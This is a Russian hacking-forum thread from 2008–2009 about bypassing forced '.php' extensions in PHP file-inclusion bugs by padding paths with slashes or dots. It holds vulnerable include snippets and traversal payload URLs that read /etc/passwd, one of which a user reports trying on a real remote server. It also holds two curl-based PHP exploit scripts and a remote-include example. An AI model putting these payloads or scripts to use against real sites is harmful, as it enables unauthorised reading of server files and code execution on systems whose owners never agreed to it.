Статьи [новый способ] замена нулл-байту в инклудах

Discussion in 'Статьи' started by [Raz0r], 29 Dec 2008.

  1. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    ShAnKaR
    в этом случае полный путь из getcwd+значение переменной должны равнятся maxpathlen? чтобы обрезалось только расширение
    в пшп5 проще использовать конструкцию
    .php?file=shell.php////////[...], где кол-во / может быть равно maxpathlen, те 4096 по дефолту
    я правильно понял? и второй случай в пшп4 не прокатит?
     
  2. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    ну если не ошибаюсь там еще нулевой байт добавляется поэтому maxpathlen-1, случай когда слешы после имени у меня не катят на php 4, я показывал почему, вобще чего меня спрашивать когда можно все самому проверить.
     
  3. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    вы же ROA в конце концов уже, ну ка подняли силу духа и разобрались как в винде бага работает ), я делал просто - вставлял в спорных местах printf, компилил и выводил содержимое, итак все глубже и глубже.
     
  4. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    обновил шапку
    upd: еще дополнил инфой по линуксу. Если в ваших тестах данные расходятся с моими, просьба сообщить в данной теме
     
    #44 [Raz0r], 1 Jan 2009
    Last edited: 2 Jan 2009
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    линукс, пшп 5.2.6
    у меня с несуществующей папкой не работает
     
  6. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    у меня на PHP 5.1.2 работало с несуществующей папкой, но в новых версиях действительно не работает
     
  7. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    a придумали бы методы обхода file_exists в никсах с несуществующей директорией/файлом. . .
    ЗЫ сорри, не могу принять активное участие в дискуссии, ибо в отъезде
     
  8. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    пых четвёртой последняя версия, 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:37:32 EDT 2006 i686 i686 i386 GNU/Linux - не пашет.
     
    _________________________
    1 person likes this.
  9. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    для php 4 я предложил как обходить
     
  10. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    еще одна небольшая заметка

    В общем, еще одна небольшая заметка, на мысль о которой натолкнула статья [Raz0r].

    Итак, представим у нас есть скрипт
    PHP:
    <?php
    include($_GET['file'].'.php');
    ?>
    Это просто для примера, тут пройдет и обычный инклуд с нулевым байтом (если конечно magic_quotes off), так и способ от [Raz0r].
    А я вот обнаружил еще одну интересную вещь, в Виндовсе максимальное количество символов в имени файла – 240. Так, вот я подумал, а что будет, если будет конструкция вида
    PHP:
    http://test1.ru/?file=page.........................................................................................................................................................................................................................................txt
    PHP:
     include('page.........................................................................................................................................................................................................................................txt.php'); 
    т.е. имя файла, который мы предлагаем содержит 240 символов, а ведь есть еще и .php. В общем, естественно имя файла обрезается до положенной длины, и на инклуд отправляется только
    PHP:
    page.........................................................................................................................................................................................................................................txt
    без .php
    [+] При проверке файла при загрузке на сайт, расширение будет таким, какое нужно админу! =) В нашем случае .txt
    [+] Во многих скриптах отсутствует проверка на длину файла

    [-] Привязка к ОС – Windows
    [-] Загружаемый файл на сайт должен иметь имя файла то же, что мы назначили, а не меняться скриптом.

    В общем, я еще буду экспериментировать с Linux’ом, а где это применить, думаю найдете.
     
    #50 Twoster, 2 Feb 2009
    Last edited: 2 Feb 2009
    1 person likes this.
  11. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Команда USH выложила в паблик свою статью, в которой подробно описан данный способ, поэтому я посчитал, что теме больше не место в РОА и попросил Grey перенести ее сюда. В этой теме много заблуждений, но все предположения ShAnKaR подтвердились. Вольный перевод статьи USH у меня в блоге:
    http://raz0r.name/articles/null-byte-alternative/
     
    1 person likes this.
  12. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Блин, сегодня на практике применил эту статью , а так бы забил на тот серв с инклюдом и magic quotes on.

    Все работает.

    на локалхосте тестировал - Win XP, PHP 5.2.4 и апач 2 (денвер 3)

    PHP:
    <?php   include($_GET['file'].'.php');   ?>
    http://localhost/testinc.php?file=favicon.ico[225 точек ] работает.

    а потом на удаленном серваке (Линукс, точная версия и ПО неизвестно мне)

    http://www.site/~papka1/papka2/Papka3/papka4/script.phtml?page=../../../../../../../../etc/passwd[4015 точек минимальное значение] работает.

    Респект вам всем)
     
    1 person likes this.
  13. HIVER

    HIVER Member

    Joined:
    28 Oct 2008
    Messages:
    36
    Likes Received:
    18
    Reputations:
    0
    Хост: nginx/0.7.31

    максимальная длинна 8176 байт.
    Накатал минисплоит:

    inc.php, http://some_other_host/inc.php
    Code:
    <?php
    phpinfo();
    ?>
    
    i_am_file_with_include.php
    Code:
    <?php
    include $_GET["file"] . ".php";
    ?>
    

    exploit.php
    Code:
    <?php
    $include_file = urlencode($argv[1]);
    $host = "localhost";
    $url = "i_am_file_with_include.php?file=$include_file";
    $overflow = "";
    $maxURI = 8176;
    $sym = "/";
    for($i=1;$i<=$maxURI-strlen($url);$i++) {$overflow .= $sym;}
    $ch = curl_init("$host/$url$overflow");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $res = curl_exec($ch);
    curl_close($ch);
    echo $res;
    ?>
    
    ./php exploit.php inc.php - Работает
    ./php exploit.php http://some_other_host/inc.php - Не работает
    http://localhost/i_am_file_with_include.php?file=http://some_other_host/inc - Работает

    Метод пашет, только непонятно почему удаленный инклуд не происходит.
     
    4 people like this.
  14. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    С удаленным инсклудом все проше, там даже обрезать не надо, просто поставь в конце - ?
     
  15. _gr34t

    _gr34t Member

    Joined:
    26 Oct 2008
    Messages:
    89
    Likes Received:
    13
    Reputations:
    5
    WinXP, PHP 5.2.8, Apache 2.2.11, include_path=.;C:\php5\pear
    Работает с < > . + /
    Минимальная длина строки (вместе с URL) = 280
    ---------------
    FreeBSD 6.4, PHP 5.2.9, Apache 1.3.37, include_path=.:/usr/local/share/pear
    Пробовал с / и /. разных длин - не работает
     
  16. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Ня,с твоим скриптом я не фкурил.Вот,написал свою версию:

    ЗЫ: Все скрипты должны назодиться в одной папке.

    includer2.php

    PHP:

    <?php


    function dotted() {

    $dot "";

    for (
    $n 0$n 500$n++) {

    $dot .= chr(46);

    url_sender($dot);


    }


    }


    function 
    url_sender($dot) {


    $url="http://localhost/exploiter/inc.php?file=gangsta.txt$dot";

    $ua "IE 6.0";

    $ch curl_init();

    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_USERAGENT,$ua);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);

    $res curl_exec($ch);


    if(
    preg_match("|Yes!|",$res,$m)) {

    echo 
    "<center>Cool!</center>";


    }

    else {

     echo 
    "<center>Fuck!</center>";



    }

    curl_close($ch);


    }

    dotted();

    ?>

    inc.php

    PHP:

    <?php

    include($_GET['file'].php);


    ?>

    Киньте туда любой файлиг(Я его обозвал gangsta.txt : D).Надеюсь,кому-нибудь пригодится(Знаю-знаю - Веля плохой и многого не понимает:)

    ЗЫ: Не хватает только счётчиков,какой по счёту символ является *фатальным* )))
     
  17. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Пробовал до шести до 5999 точек выставлять - не помогло(хотел проинклудить файл в папке /etc/hosts).

    Система: Windows XP HOME (SP 2 )
    Интерпретатор: PHP: 5.2.6 без Сухозиновских заплаток.
    Сервер: VertrigoServ v 2.21
     
  18. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    В общем,фигня какая-то.Пробиваю расширение только файлов,которые находятся в папке с бажным скриптом.

    ЗЫ: Фаил инклудится уже с 204-ой точки и так по возрастающей )))
     
    #58 Велемир, 20 May 2009
    Last edited: 20 May 2009
  19. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 Велемир:

    Чушь не говори. Посмотри последние три страницы "Ваши вопросы по уязвимостям" - увидишь в действии, как говорится
     
  20. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Не знаю,о чём ты.Если ты о линке на русайт,то он не читабелен.И с чего ты взял,что мой вариант не работает ? Проверь сам - расширение режется